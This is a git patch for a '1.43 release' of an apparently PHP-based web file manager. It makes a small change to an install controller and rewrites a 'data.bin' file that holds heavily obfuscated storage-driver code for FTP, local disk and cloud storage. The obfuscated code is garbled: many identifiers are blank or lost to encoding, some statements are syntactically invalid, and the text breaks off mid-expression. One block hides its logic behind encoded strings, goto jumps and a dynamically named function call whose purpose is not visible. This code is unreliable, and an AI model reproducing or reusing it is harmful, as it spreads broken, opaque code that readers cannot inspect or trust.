From b77a843d401fa52549c5e76e1b649aa65fc4631b Mon Sep 17 00:00:00 2001
From: warlee <824691958@qq.com>
Date: Thu, 10 Aug 2023 20:19:50 +0800
Subject: [PATCH] 1.43 release
---
app/controller/install/index.class.php | 6 ++++++
app/sdks/archiveLib/bin/data.bin | 2 +-
static/app/dist/api.js | 4 ++--
static/app/dist/lib.js | 4 ++--
static/app/dist/main.js | 4 ++--
static/app/dist/sdk.js | 2 +-
static/app/dist/vendor.js | 2 +-
static/style/dist/main.css | 4 ++--
static/style/dist/sdk.css | 2 +-
static/style/lib/main.css | 2 +-
10 files changed, 19 insertions(+), 13 deletions(-)
diff --git a/app/controller/install/index.class.php b/app/controller/install/index.class.php
index f238d4ff..52ea0833 100755
--- a/app/controller/install/index.class.php
+++ b/app/controller/install/index.class.php
@@ -51,6 +51,12 @@ public function check(){
"io" => array(),
"lang" => I18n::getType(),
);
+ if($this->in['full'] == '1'){
+ $options['_lang'] = array(
+ "list" => I18n::getAll(),
+ "lang" => I18n::getType(),
+ );
+ }
show_json($options);
}
$actions = array(
diff --git a/app/sdks/archiveLib/bin/data.bin b/app/sdks/archiveLib/bin/data.bin
index 1ab881a4..8f4e87cc 100755
--- a/app/sdks/archiveLib/bin/data.bin
+++ b/app/sdks/archiveLib/bin/data.bin
@@ -1,2 +1,2 @@
0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($ƴ) { $ =& $_SERVER[譃]; global $config; $this->appCharset = $config[$[1363]]; $this->systemCharset = $config[$[1364]]; if (isset($ƴ[$[1365]]) && $ƴ[$[1365]]) { $this->systemCharset = $ƴ[$[1365]]; } } public function iconvApp($¦ԯ) { return $this->iconvTo($¦ԯ, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($) { $ =& $_SERVER[譃]; $ϔڒ = $this->iconvApp($this->pathBase); $ = $this->iconvApp($); if (substr($ϔڒ, 0, 2) == $[1366]) { $ϔڒ = BASIC_PATH . substr($ϔڒ, 2); } if (substr($, 0, 2) == $[1366]) { $ = BASIC_PATH . substr($, 2); } $ϔڒ = KodIO::clear($ϔڒ); $ = KodIO::clear($); $ = substr($, strlen($ϔڒ)); if (empty($this->pathDriver)) { return $; } return $this->pathDriver . $[8] . ltrim($, $[8]); } private function _init($ﹿ = array()) { $ձ =& $_SERVER[譃]; if (!function_exists($ձ[1367])) { throw new Exception(LNG($ձ[1368])); } $this->config = $ﹿ; $this->charsetReset($ﹿ); foreach ($ﹿ as $ => $ˬْ) { if (isset($this->{$})) { $this->{$} = $ˬْ; } } return $this->_login($ﹿ); } private function _login($ظ) { $Ζ =& $_SERVER[譃]; static $Ԗѯ = array(); $ݼ = md5(json_encode($ظ)); if (isset($Ԗѯ[$ݼ])) { foreach ($Ԗѯ[$ݼ] as $Ç => $ο) { $this->{$Ç} = $ο; } return !0; } $ل = parse_url(trim($this->server, $Ζ[8])); $this->host = $ل[$Ζ[178]]; $ = isset($ل[$Ζ[177]]) && $ل[$Ζ[177]] == $Ζ[1369] ? !0 : !1; $this->scheme = $ ? $Ζ[1370] : $Ζ[1371]; $this->port = isset($ل[$Ζ[179]]) ? $ل[$Ζ[179]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ = $this->pasv == $Ζ[89] ? !0 : !1; @ftp_pasv($this->connect, $); $Ԗѯ[$ݼ] = array($Ζ[1372] => $this->connect, $Ζ[178] => $this->host, $Ζ[177] => $this->scheme, $Ζ[179] => $this->port); return $; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($瑼, $ؤ = '', $ = REPEAT_RENAME) { if ($this->setContent($瑼, $ؤ)) { return $this->getPathOuter($瑼); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); if ($this->_isFolder($) || @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } if (!$this->mkdir($this->pathFather($))) { return !1; } if ($ = @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } return !1; } public function copyFile($š, $ƍ) { if (!$this->_isconn()) { return !1; } $ҋ = $this->pathThis($this->iconvSystem($š)); $͓ = $this->tempFile($ҋ); $͜ = $this->iconvApp($͓); $this->download($š, $͜); $ = $this->upload($ƍ, $͜); $this->tempFileRemve($͓); return $; } public function moveFile($拠, $) { if (!$this->_isconn()) { return !1; } $拠 = $this->iconvSystem($拠); $ = $this->iconvSystem($); $ = @ftp_rename($this->connect, $拠, $); return $ ? $this->getPathOuter($) : !1; } public function delFile($Ȯ) { if (!$this->_isconn()) { return !1; } $Ȯ = $this->iconvSystem($Ȯ); return @ftp_delete($this->connect, $Ȯ); } public function delFolder($ݗ) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($ݗ, $, $, !0); $this->listItemCache = !0; foreach ($ as $) { $Ҩ = $this->iconvSystem($[$_SERVER[譃][32]]); $ = @ftp_delete($this->connect, $Ҩ); if (!$) { return !1; } } foreach ($ as $Ҩ) { $Ҩ = $this->iconvSystem($Ҩ); $ = @ftp_rmdir($this->connect, $Ҩ); if (!$) { return !1; } } $ݗ = $this->iconvSystem($ݗ); return @ftp_rmdir($this->connect, $ݗ); } public function rename($й, $Ӡä) { $ =& $_SERVER[譃]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($й), $Ӡä); $ = $this->iconvSystem($); $й = $this->iconvSystem($й); $Ҿޑ = $this->pathFather($й); $ = rtrim($Ҿޑ, $[8]) . $[8] . $; $ý = @ftp_rename($this->connect, $й, $); $ = $this->iconvApp($); return $ý ? $this->getPathOuter($) : !1; } private function folderInfo($, $Ș = false) { $ =& $_SERVER[譃]; $с = array($[32] => $this->pathThis($), $[78] => $this->getPathOuter($[8] . $), $[33] => $[79]); if ($Ș) { return $с; } $с[$[197]] = $с[$[86]] = 0; $с[$[198]] = $с[$[199]] = !0; return $с; } private function fileInfo($Џ, $ሕ = false, $Ҭ = array()) { $ =& $_SERVER[譃]; $ = array($[32] => $this->pathThis($Џ), $[78] => $this->getPathOuter($[8] . $Џ), $[33] => $[196], $[80] => isset($Ҭ[$[80]]) ? $Ҭ[$[80]] : 0, $[171] => $this->ext($Џ)); if ($ሕ) { return $; } $[$[197]] = $[$[86]] = 0; $[$[198]] = $[$[199]] = !0; $߀ = $this->iconvSystem($Џ); $[$[86]] = @ftp_mdtm($this->connect, $߀); if (empty($Ҭ)) { $Ҭ = $this->objectMeta($Џ); if (!$Ҭ) { return $; } } $[$[80]] = $Ҭ[$[80]]; return $; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[譃][80]] : 0; } public function info($ت) { if ($this->isFile($ت)) { return $this->fileInfo($ت, 0); } else { if ($this->isFolder($ت)) { return $this->folderInfo($ت); } } return !1; } private function fileList($, &$қ, &$ԫ, $Ӟ = false) { $ =& $_SERVER[譃]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } @ftp_chdir($this->connect, $[8]); $ = rtrim($, $[8]) . $[8]; check_abort(); $Ѷ = $this->listItemCache === !1 ? !1 : !0; $Ñ = @ftp_rawlist($this->connect, $); if (!$Ñ) { $Ñ = array(); } $ޫ = array($[10] => 1, $[1373] => 1); foreach ($Ñ as $֊) { $ = $this->_listItem($֊); if ($[0] == $[757]) { continue; } $ׯ = $[8]; if (empty($ׯ) && $ׯ !== $[194] || isset($ޫ[$ׯ])) { continue; } $ׯ = $this->iconvApp($ . ltrim($ׯ, $[8])); $ = array($[32] => $ׯ, $[33] => $[196], $[80] => $[4]); if (substr($֊, 0, 1) == $[1374]) { $[$[33]] = $[79]; $[$[80]] = 0; } $ = $[$[33]] == $[79] ? !0 : !1; if ($Ѷ) { $this->cacheMethod($[202], $ׯ, $); $this->cacheMethod($[203], $ׯ, $); } if ($) { $қ[] = $ׯ; if ($Ӟ) { $this->fileList($ׯ, $қ, $ԫ, $Ӟ); } continue; } $ԫ[] = $; } if ($Ѷ) { $this->cacheMethod($[202], $, !0); } } private function _listItem($) { if (empty($)) { return array(); } $ȓ = preg_split($_SERVER[譃][1375], $); if (count($ȓ) <= 9) { return $ȓ; } $ȓ[8] = trim(substr($, strpos($, $ȓ[7]) + strlen($ȓ[7]))); return array_splice($ȓ, 0, 9); } public function listPath($ת, $ݟ = false) { $ =& $_SERVER[譃]; if (!$this->_isconn()) { return !1; } $ = $ = array(); $this->fileList($ת, $, $); foreach ($ as $ʼn => $) { $[$ʼn] = $this->folderInfo($, $ݟ); } foreach ($ as $ʼn => $) { $[$ʼn] = $this->fileInfo($[$[32]], $ݟ, $); } return array($[77] => $, $[76] => $); } public function has($, $ = false, $ = true) { $쭯 =& $_SERVER[譃]; $ԅ = $䁊 = array(); $ = $ ? !0 : !1; $this->fileList($, $ԅ, $䁊, $); if ($) { return array($쭯[206] => count($䁊), $쭯[207] => count($ԅ)); } if ($) { if (count($䁊)) { return !0; } } else { if (count($ԅ)) { return !0; } } return !1; } public function listAll($) { $ =& $_SERVER[譃]; if (!$this->_isconn()) { return !1; } $ў = $ = array(); $this->fileList($, $ў, $, !0); $ӆ = array(); foreach ($ as $×) { $ӆ[$×[$[32]]] = $×[$[80]]; } foreach ($ў as $×) { if (is_string($×)) { $ӆ[$×] = 0; } } return $this->listAllFiles($, array_keys($ӆ), $ӆ); } public function getContent($⼲Ə) { if (!$this->_isconn()) { return !1; } $⼲Ə = $this->iconvSystem($⼲Ə); return $this->fileSubstr($⼲Ə); } public function setContent($䈭, $ɲ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($䈭)); $Ȓ = $this->tempFile($); file_put_contents($Ȓ, $ɲ); $ = $this->upload($䈭, $this->iconvApp($Ȓ)); $this->tempFileRemve($Ȓ); return $; } public function fileSubstr($䛩, $ = 0, $ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($䛩, $, $); } private function ftpRequest($, $ = 0, $ = false) { $ = $this->iconvSystem($); $ = $this->scheme . $this->host . $_SERVER[譃][4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $ . $this->pathEncode($)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($) { $쮿 = $ + $ - 1; curl_setopt($, CURLOPT_RANGE, "{$}\55{$쮿}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $忩 = curl_exec($); curl_close($); return $忩; } public function upload($˙, $ʤ, $ = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($˙))) { return !1; } $˙ = $this->iconvSystem($˙); $ʤ = $this->iconvSystem($ʤ); $ۥ = ftp_nb_put($this->connect, $˙, $ʤ, FTP_BINARY); while ($ۥ == FTP_MOREDATA) { $ۥ = ftp_nb_continue($this->connect); } if ($ۥ != FTP_FINISHED) { return !1; } return $this->getPathOuter($˙); } public function download($, $ցͻ = '') { if (!$this->_isconn()) { return !1; } $٫ = $this->pathFather($ցͻ); if (!IO::mkdir($٫)) { return !1; } $ = $this->iconvSystem($); $ցͻ = $this->iconvSystem($ցͻ); $͡ = ftp_nb_get($this->connect, $ցͻ, $, FTP_BINARY); while ($͡ == FTP_MOREDATA) { $͡ = ftp_nb_continue($this->connect); } if ($͡ != FTP_FINISHED) { return !1; } return $this->iconvApp($ցͻ); } public function exist($Ý) { return $this->isFile($Ý) || $this->isFolder($Ý); } public function isFile($˱ڮ) { return !$this->isFolder($˱ڮ) && $this->objectMeta($˱ڮ); } public function isFolder($) { return $this->cacheMethod($_SERVER[譃][202], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[譃][203], $); } protected function _objectMeta($) { $䗝 =& $_SERVER[譃]; if ($ == $䗝[12] || $ == $䗝[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $Ѷ = array($䗝[32] => $this->iconvApp($), $䗝[33] => $䗝[196], $䗝[80] => 0); @ftp_chdir($this->connect, $䗝[8]); $Ӗ = @ftp_size($this->connect, $); if ($Ӗ != -1) { $Ѷ[$䗝[80]] = $Ӗ; } else { $ = @ftp_chdir($this->connect, $); if (!$) { return !1; } $Ѷ[$䗝[33]] = $䗝[79]; } return $Ѷ; } protected function _isFolder($Ɉ) { $ȟ =& $_SERVER[譃]; if ($Ɉ == $ȟ[12] || $Ɉ == $ȟ[8]) { return !0; } $ = $this->_objectMeta($Ɉ); return isset($[$ȟ[33]]) && $[$ȟ[33]] == $ȟ[79] ? !0 : !1; } } class PathDriverLocal extends PathDriverBase { private $pathAuth; public function __construct() { parent::__construct(); $this->pathAuth = DEFAULT_PERRMISSIONS; } public function getPath($Ď) { if (substr($Ď, 0, 2) == $_SERVER[譃][1366]) { $Ď = BASIC_PATH . substr($Ď, 2); } return $Ď; } public function iconvApp($Ș) { $φ =& $_SERVER[譃]; global $config; return $this->iconvTo($Ș, $config[$φ[1364]], $config[$φ[1363]]); } public function iconvSystem($Ȣ) { $͂ =& $_SERVER[譃]; global $config; return $this->iconvTo($Ȣ, $config[$͂[1363]], $config[$͂[1364]]); } public function getPathOuter($Դ) { $ =& $_SERVER[譃]; $η = $this->iconvApp($this->pathBase); $Դ = $this->iconvApp($Դ); if (substr($η, 0, 2) == $[1366]) { $η = BASIC_PATH . substr($η, 2); } if (substr($Դ, 0, 2) == $[1366]) { $Դ = BASIC_PATH . substr($Դ, 2); } $η = KodIO::clear($η); $Դ = KodIO::clear($Դ); $Դ = substr($Դ, strlen($η)); if (empty($this->pathDriver)) { return $Դ; } return $this->pathDriver . $[8] . ltrim($Դ, $[8]); } public function mkfile($ӎ, $˸ = '', $ = REPEAT_RENAME) { $ӎ = $this->iconvSystem($ӎ); @touch($ӎ); if ($˸) { file_put_contents($ӎ, $˸); } @chmod($ӎ, $this->pathAuth); return is_file($ӎ) ? $this->getPathOuter($ӎ) : !1; } public function mkdir($ʦ, $Ҡ = REPEAT_SKIP) { $ʦ = $this->iconvSystem($ʦ); if (is_dir($ʦ)) { return $this->getPathOuter($ʦ); } @mkdir($ʦ, $this->pathAuth, !0); @chmod($ʦ, $this->pathAuth); return is_dir($ʦ) ? $this->getPathOuter($ʦ) : !1; } public function copyFile($ъ, $儐) { $this->mkdir($this->pathFather($儐)); $ъ = $this->iconvSystem($ъ); $儐 = $this->iconvSystem($儐); $ѫ = copy_64($ъ, $儐); @chmod($儐, $this->pathAuth); return $ѫ ? $this->getPathOuter($儐) : !1; } public function moveFile($, $Ъ) { $this->mkdir($this->pathFather($Ъ)); $ = $this->iconvSystem($); $Ъ = $this->iconvSystem($Ъ); $ӅƑ = intval(@rename($, $Ъ)); if (!$ӅƑ) { if ($ӅƑ = intval(@copy_64($, $Ъ))) { @unlink($); } } @chmod($Ъ, $this->pathAuth); return $ӅƑ ? $this->getPathOuter($Ъ) : !1; } public function movePath($Λ, $, $ڵ = false) { $틙 =& $_SERVER[譃]; $Λ = $this->iconvSystem($Λ); $ = $this->iconvSystem($); $đӸ = rtrim($, $틙[8]) . $틙[8] . ($ڵ ? $ڵ : get_path_this($Λ)); if (file_exists($đӸ)) { return !1; } $ = intval(@rename($Λ, $đӸ)); $ = file_exists($đӸ); return $ ? $this->getPathOuter($đӸ) : !1; } public function delFile($ԙ) { $ԙ = $this->iconvSystem($ԙ); if (!@unlink($ԙ)) { @chmod($ԙ, $this->pathAuth); if (!@unlink($ԙ)) { return !1; } } else { return !0; } } public function delFolder($û) { $Ͷ =& $_SERVER[譃]; $û = $this->iconvSystem($û); if (!is_dir($û)) { return !0; } if (!($ㅻ = opendir($û))) { return !1; } while (($ = readdir($ㅻ)) !== !1) { if ($ == $Ͷ[10] || $ == $Ͷ[1373]) { continue; } $ = $û . $Ͷ[8] . $; if (is_file($) || is_link($)) { if (!unlink($)) { chmod($, $this->pathAuth); if (!unlink($)) { return !1; } } } else { if (is_dir($)) { chmod($, $this->pathAuth); $ = $this->iconvApp($); if (!$this->delFolder($)) { return !1; } } } } closedir($ㅻ); return rmdir($û); } public function rename($ཞ, $훞) { $ڗЂ =& $_SERVER[譃]; $ = $this->fileNameAuto($this->pathFather($ཞ), $훞); $ = $this->iconvSystem($); $ཞ = $this->iconvSystem($ཞ); $ɀˡ = $this->pathFather($ཞ); $ڹܳ = rtrim($ɀˡ, $ڗЂ[8]) . $ڗЂ[8] . $; $ӷ = @rename($ཞ, $ڹܳ); $ڹܳ = $this->iconvApp($ڹܳ); return $ӷ ? $this->getPathOuter($ڹܳ) : !1; } public function size($) { $ = $this->iconvSystem($); return filesize_64($); } public function info($) { $ = $this->iconvSystem($); if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } protected function infoChildren($, &$Í, $⍆ = true) { $ =& $_SERVER[譃]; check_abort_echo(); $ = rtrim($, $[8]) . $[8]; if ($⍆) { $ = $this->iconvSystem($); } if (!($䌵 = @opendir($))) { return; } while (($ = readdir($䌵)) !== !1) { if ($ == $[10] || $ == $[1373]) { continue; } $ÿ = $ . $; if (is_file($ÿ) || is_link($ÿ)) { $Í[$[81]]++; $Í[$[80]] += filesize_64($ÿ); } else { if (is_dir($ÿ)) { $Í[$[82]]++; $this->infoChildren($ÿ, $Í, !1); } } } closedir($䌵); } private function folderInfo($н, $ɍ = false) { $ǹ =& $_SERVER[譃]; $н = rtrim($н, $ǹ[8]) . $ǹ[8]; $ = $this->iconvApp($this->pathThis($н)); if ($ɍ) { return array($ǹ[32] => $, $ǹ[78] => $this->getPathOuter($н), $ǹ[33] => $ǹ[79]); } $ = array($ǹ[32] => $, $ǹ[78] => $this->getPathOuter($н), $ǹ[33] => $ǹ[79], $ǹ[197] => @filectime($н), $ǹ[86] => @filemtime($н), $ǹ[1376] => @fileatime($н), $ǹ[1377] => is_readable($н), $ǹ[1378] => is_writable($н), $ǹ[1379] => get_mode($н)); return $; } private function fileInfo($, $ = false) { $ =& $_SERVER[譃]; $ = $this->iconvApp($this->pathThis($)); if ($) { return array($[32] => $, $[78] => $this->getPathOuter($), $[33] => $[196], $[80] => $this->size($), $[171] => $this->ext($)); } $ǯ = array($[32] => $, $[78] => $this->getPathOuter($), $[33] => $[196], $[197] => @filectime($), $[86] => @filemtime($), $[1376] => @fileatime($), $[80] => $this->size($), $[171] => $this->ext($), $[1377] => is_readable($), $[1378] => is_writable($), $[1379] => get_mode($)); return $ǯ; } public function exist($) { $ = $this->iconvSystem($); return @file_exists($); } public function isFile($ޓ) { $ޓ = $this->iconvSystem($ޓ); return @is_file($ޓ); } public function isFolder($ɪ) { $ɪ = $this->iconvSystem($ɪ); return @is_dir($ɪ); } public function listPath($, $䍕 = false) { $ =& $_SERVER[譃]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; $ = array($[77] => array(), $[76] => array()); if (!($͞ = @opendir($))) { return $; } while (($У = readdir($͞)) !== !1) { if ($У == $[10] || $У == $[1373]) { continue; } $ = $ . $У; if (is_file($)) { $[$[76]][] = $this->fileInfo($, $䍕); } else { $[$[77]][] = $this->folderInfo($, $䍕); } } closedir($͞); return $; } public function listAll($ġҌ, &$ƹߤ = array()) { $了 =& $_SERVER[譃]; $ġҌ = $this->iconvSystem($ġҌ); $ġҌ = rtrim($ġҌ, $了[8]) . $了[8]; if (!($ = @opendir($ġҌ))) { return $ƹߤ; } while (($ = readdir($)) !== !1) { if ($ == $了[10] || $ == $了[1373]) { continue; } $آ = $ġҌ . $; if (is_dir($آ) && !is_link($آ)) { $ƹߤ[] = array($了[78] => $آ . $了[8], $了[79] => 1, $了[86] => @filemtime($آ), $了[80] => 0); $this->listAll($آ, $ƹߤ); } else { $ƹߤ[] = array($了[78] => $آ, $了[79] => 0, $了[86] => @filemtime($آ), $了[80] => $this->size($آ)); } } closedir($); return $ƹߤ; } public function has($, $ḑ䶉 = false, $삡 = true) { $ =& $_SERVER[譃]; $ = $this->iconvSystem($); $ = rtrim($, $[8]) . $[8]; if (!($Ѯ = @opendir($))) { return !1; } $ǻ = 0; $ű = 0; $ = 0; while (($ = readdir($Ѯ)) !== !1) { if ($ == $[10] || $ == $[1373]) { continue; } $羲 = $ . $; if ($ḑ䶉) { $++; if (@is_file($羲)) { $ǻ++; } else { $ű++; } if ($ > 10000) { break; } continue; } if ($삡) { if (@is_file($羲)) { return !0; } } else { if (@is_dir($羲 . $[8])) { return !0; } } } closedir($Ѯ); if ($ḑ䶉) { return array($[206] => $ǻ, $[207] => $ű); } return !1; } public function hashSimple($) { $Ƕ =& $_SERVER[譃]; if (!$) { return md5($Ƕ[12]); } $ = $this->iconvSystem($); $; = $this->size($); $ڲͽ = 200; $ĉ = 50; if ($; <= $ڲͽ * $ĉ) { return $this->hashMd5($) . $;; } $Ց = $Ƕ[12]; $ћ = intval($; / $ĉ); $ = fopen($, $Ƕ[1380]); if (!$) { return $Ց; } for ($合 = 0; $合 < $ĉ; $合++) { fseek_64($, $ћ * $合); $Ց .= fread($, $ڲͽ); } fseek_64($, $; - $ڲͽ); $Ց .= fread($, $ڲͽ); fclose($); return md5($Ց) . $;; } public function getContent($ǂ) { $ǂ = $this->iconvSystem($ǂ); return file_get_contents($ǂ); } public function setContent($, $ = '') { $ = $this->iconvSystem($); $ɁҾ = @file_put_contents($, $, LOCK_EX); clearstatcache(); @chmod($, $this->pathAuth); return $ɁҾ === !1 ? !1 : !0; } public function fileSubstr($ۑ, $ = 0, $֥ = false) { $ =& $_SERVER[譃]; $ۑ = $this->iconvSystem($ۑ); if ($֥ === !1) { $֥ = $this->size($ۑ); } if ($֥ <= 0) { return $[12]; } $Ɯ = fopen($ۑ, $[1380]); if (!$Ɯ) { return !1; } fseek_64($Ɯ, $); $ŏ = fread($Ɯ, $֥); fclose($Ɯ); return $ŏ; } public function upload($, $, $ = false, $̞ε = REPEAT_REPLACE) { if ($) { return $this->moveFile($, $); } return $this->copyFile($, $); } public function setModifyTime($, $ = '') { @touch($, intval($)); } public function download($, $) { return $this->iconvSystem($); } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($ũ) { parent::__construct($ũ); $this->signatureVersion($_SERVER[譃][215]); } public function fileOutLink($) { $ =& $_SERVER[譃]; if (substr($, 0, 7) == $[1323]) { $ = $[1324] . substr($, 7); } header($[162] . $); die; } } goto C; f: define($_SERVER[譃][0], $_SERVER[譃][1]); $_SERVER[ἢ] = explode($_SERVER[譃][2], gzinflate(substr($_SERVER[譃][3], 10, -8))); function binCheckEq($ͽ, $ŵ) { return $ͽ == $ŵ; } goto Bғ; fِ: if ($_SERVER[$_SERVER[譃][872]] != $_SERVER[$_SERVER[譃][1452]]) { $_getc = $_SERVER[譃][874]; $_getfile = $_SERVER[$_SERVER[譃][875]] . $_SERVER[譃][876]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[譃][230], $_getfilec); if (count($_getarrs) < $_SERVER[譃][606]) { $exit = $_SERVER[譃][877]; $exit(); } $_act = $_SERVER[譃][1343]; $_act($_SERVER[$_SERVER[譃][870]]); } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ރ = 0) { parent::__construct(); $this->source = $; $this->sourceSize = $ރ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($̓ = false) { return $this->sourceSize; } public function getContent($Ϥ = false) { return $this->fileSubstr($Ϥ, 0, $this->sourceSize); } public function fileSubstr($٢ = false, $ = 0, $ñݢ = 0) { if (!$ñݢ) { $ñݢ = $this->sourceSize; } $ = $this->sourceSize - $; if ($ñݢ >= $) { $ñݢ = $; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $, $ñݢ); } if ($this->sourceType == self::TYPE_FILE) { if ($ñݢ <= 0) { return $_SERVER[譃][12]; } $ú = ftell($this->source); fseek_64($this->source, $ú + $); $ = @fread($this->source, $ñݢ); fseek_64($this->source, $ú); return $; } } public function hashMd5($ꟁ = false) { return md5($this->getContent()); } public static function hash($҇, $𧢃 = 0) { $Ɗ = new PathDriverStream($҇, $𧢃); return $Ɗ->hashSimple($҇); } public static function md5($, $↗ = 0) { $ = new PathDriverStream($, $↗); return $->hashMd5($); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\150\164\164\160\72\x2f\57\166\x30\56\x61\160\151\x2e\165\160\171\x75\x6e\x2e\x63\x6f\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->_init($); } public function _init($) { $ޭ =& $_SERVER[譃]; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($ޭ[1453] . LNG($ޭ[1383])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($٤, $Ǥ = "\107\105\124") { $б =& $_SERVER[譃]; $盛 = gmdate($б[1416]); $ = base64_encode(hash_hmac($б[1454], "{$Ǥ}\x26{$٤}\46{$盛}", md5("{$this->userpass}"), !0)); $߾ = array("\x41\x75\x74\150\157\x72\x69\172\141\164\151\157\x6e\72\125\120\x59\x55\x4e\40{$this->username}\72{$}", "\x44\141\164\x65\72{$盛}"); return $߾; } public function ussRequest($, $ڇ© = "\107\x45\x54", $ = false, $ɗ = false, $ = false) { $ط =& $_SERVER[譃]; $ = trim($, $ط[8]); $州 = "\x2f{$this->bucket}\x2f{$}"; $ = $this->ussHeaders($州, $ڇ©); if ($ɗ) { $ = array_merge($, $ɗ); } $ϩ = url_request($this->endpoint . $州, $ڇ©, $, $, $); if (!$ϩ) { return array($ط[1189] => !1, $ط[1191] => $ط[1455]); } if (strtolower($ڇ©) == $ط[193] || in_array($ϩ[$ط[1189]], array($ط[1308], $ط[1456]))) { $ = $ϩ[$ط[1457]]; } else { $ = json_decode($ϩ[$ط[1191]], !0); if (!$) { $ = $ϩ[$ط[1191]]; } else { if (!$ϩ[$ط[748]] && isset($[$ط[1458]])) { $ = $[$ط[1458]]; } } } return array($ط[1189] => $ϩ[$ط[748]], $ط[1191] => $); } public function mkfile($Ӓ, $ĝ = '', $錕 = REPEAT_RENAME) { if ($this->setContent($Ӓ, $ĝ)) { return $this->getPathOuter($Ӓ); } return !1; } public function mkdir($lj, $ = REPEAT_SKIP) { $ =& $_SERVER[譃]; $ = trim($lj, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $藶 = array($[1459]); $ = $this->ussRequest($, $[225], !1, $藶); return $[$[1189]] ? $this->getPathOuter($) : !1; } public function copyFile($, $ú) { $ݐ =& $_SERVER[譃]; $څ = array($ݐ[1460] . "\57{$this->bucket}\x2f{$}", $ݐ[1461]); $Ӷ퀕 = $this->ussRequest($ú, $ݐ[227], !1, $څ); return $Ӷ퀕[$ݐ[1189]] ? !0 : $this->getPathOuter($ú); } public function moveFile($ܤ݀, $) { $ᱣ =& $_SERVER[譃]; $ш = array($ᱣ[1462] . "\x2f{$this->bucket}\x2f{$ܤ݀}", $ᱣ[1461]); $ = $this->ussRequest($, $ᱣ[227], !1, $ш); return $[$ᱣ[1189]] ? !0 : $this->getPathOuter($); } public function delFile($) { $Ĝʜ =& $_SERVER[譃]; $ɡ = $this->ussRequest($, $Ĝʜ[1463]); return $ɡ[$Ĝʜ[1189]] ? !0 : !1; } public function delFolder($⺱) { $կи =& $_SERVER[譃]; if (!$this->exist($⺱)) { return !0; } $this->listItemCache = !1; $ʛ = $ѭ = array(); $this->fileList($⺱, $ʛ, $ѭ, !0); $this->listItemCache = !0; foreach ($ѭ as $Ѭ) { $ݴ = $this->ussRequest($Ѭ[$կи[32]], $կи[1463]); if (!$ݴ[$կи[1189]]) { return !1; } } foreach ($ʛ as $ä) { $ݴ = $this->ussRequest($ä, $կи[1463]); if (!$ݴ[$կи[1189]]) { return !1; } } $ݴ = $this->ussRequest($⺱, $կи[1463]); return $ݴ[$կи[1189]]; } public function rename($廝, $Ѕ) { if ($this->isFile($廝)) { $Ѕ = get_path_father($廝) . $Ѕ; return $this->moveFile($廝, $Ѕ); } return $this->renameObject($廝, $Ѕ); } public function fileInfo($ٗ, $ީ = false, $ = array()) { $ =& $_SERVER[譃]; $ӓ = array($[32] => $this->pathThis($ٗ), $[78] => $this->getPathOuter($[8] . $ٗ), $[33] => $[196], $[80] => isset($[$[80]]) ? $[$[80]] : 0, $[171] => $this->ext($ٗ)); if ($ީ) { return $ӓ; } $ӓ[$[197]] = $ӓ[$[86]] = 0; $ӓ[$[198]] = $ӓ[$[199]] = !0; if (empty($)) { $ = $this->objectMeta($ٗ); if (!$) { return $ӓ; } } $ӓ[$[197]] = intval($[$[1464]]); $ӓ[$[86]] = intval($[$[1465]]); $ӓ[$[80]] = $[$[80]]; return $ӓ; } public function folderInfo($Ꚁʺ, $ = false) { $̛ =& $_SERVER[譃]; $ = array($̛[32] => $this->pathThis($Ꚁʺ), $̛[78] => $this->getPathOuter($̛[8] . $Ꚁʺ), $̛[33] => $̛[79]); if ($) { return $; } $[$̛[197]] = $[$̛[86]] = 0; $[$̛[198]] = $[$̛[199]] = !0; if (empty($г)) { $г = $this->objectMeta($Ꚁʺ); if (!$г) { return $; } } $[$̛[197]] = intval($г[$̛[1464]]); $[$̛[86]] = intval($г[$̛[1465]]); return $; } private function listObjs($ģ姨, $ԅ㙉 = 0, $ = 1000) { $ =& 